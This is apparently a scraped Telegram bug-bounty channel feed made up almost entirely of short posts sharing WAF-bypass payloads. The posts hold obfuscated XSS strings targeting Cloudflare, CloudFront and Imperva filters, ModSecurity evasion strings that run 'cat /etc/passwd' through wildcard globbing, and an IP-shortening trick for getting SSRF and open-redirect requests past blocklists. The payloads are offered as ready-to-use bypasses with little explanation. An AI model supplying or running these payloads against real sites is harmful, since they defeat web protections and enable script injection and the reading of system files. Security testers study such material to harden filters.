Information Security
@sec_nerd_en
408 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
408 subscribers
Information Security
CloudFront ~`XSS´ payload, shake dice.
🎲


<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>

#BugBounty #BugBountyTip #WAF #infosec
133 views
Information Security
Forwarded from امنیت اطلاعات
cloudflare «XSS» payload to bypass protection.
🦍


{` <body \< onscroll =1(_=prompt,_(String.fromCharCode(88,83,83,32,66,121,32,77,111,114,112,104,105,110,101)))> ´}

#BugBounty #BugBountyTip #WAF #infosec

@sec_nerd
10 views
Information Security
Forwarded from امنیت اطلاعات
Imperva WAF Bypass for XSS;

<details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];">

- without parentheses, 'alert', 'document.domain' , 'window' , space



#waf
#web
#pentest



@sec_nerd
7 views
Information Security
Cloudflare XSS Bypass Payload

<svg%0Aonauxclick=0;[1].some(confirm)//

#Cloudflare #bugbounty #bugbountytips #WAF #Xss
135 views
Information Security
#WAF #ModSecurity #RCE #Payloads Detection #Bypass
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?
110 views
Information Security
https://twitter.com/spyerror/status/1190845842623811587
Twitter
/𝒅𝒆𝒗/𝒏𝒖𝒍𝒍 台風
cloudflare {`XSS´} «byPASS» payloads. @spyerror🎯🥇$cat /<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;> 🥈$cat /<svg%0Aonauxclick=0;[1].some(confirm)// #BugBounty #BugBountyTip #WAF #infosec
118 views
Information Security
https://twitter.com/spyerror/status/1223207517624373248?s=20
Twitter
/𝒅𝒆𝒗/𝒏𝒖𝒍𝒍 台風
»_ everything is not as it seems. 🎃 «input»; p=-alert(1)}//\ $result* var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"}; «input»; p=\&q=-alert(1)// $result* var n = {a: "\", b: "-alert(1)}//"}; #BugBounty #BugBountyTip #WAF #infosec
117 views
Information Security
#WAF #ModSecurity #RCE #Payloads Detection #Bypass
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?
121 views
Information Security
Bugbounty tips#3

Short IP addrs by dropping zeroes. To bypasses WAF filters for SSRF, open-redirect, whr any IP got blocked

Exmpls:
http://1.0.0.1 → http://1.1
http://192.168.0.1 → http://192.168.1

#infosec #SSRF #bugbountytip #bypass #WAF #bugbountytips #hackerone #hackers
121 views
Information Security
please note and share;

blocked:
onauxclick=confirm(2)

bypassed:
onauxclick=[2].some(confirm)

#XSS #WAF #WAFBypass #bugbountytips #security #infosec #hacking
126 views
Information Security
Imperva WAF Bypass for XSS;

<details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];">

- without parentheses, 'alert', 'document.domain' , 'window' , space

#BugBounty #BugBountyTip #WAF #infosec
129 views
Information Security
Xss payload waf bypass

Hh'><script>alert(1)</script> = waf
Cross mark


Hh'><marquee loop=1 width=0 onfinish=pr\u006fmpt`_Y000!_`>Y000</marquee> = waf bypassed
Ballot box with check


#payload #xss #waf #bypass
183 views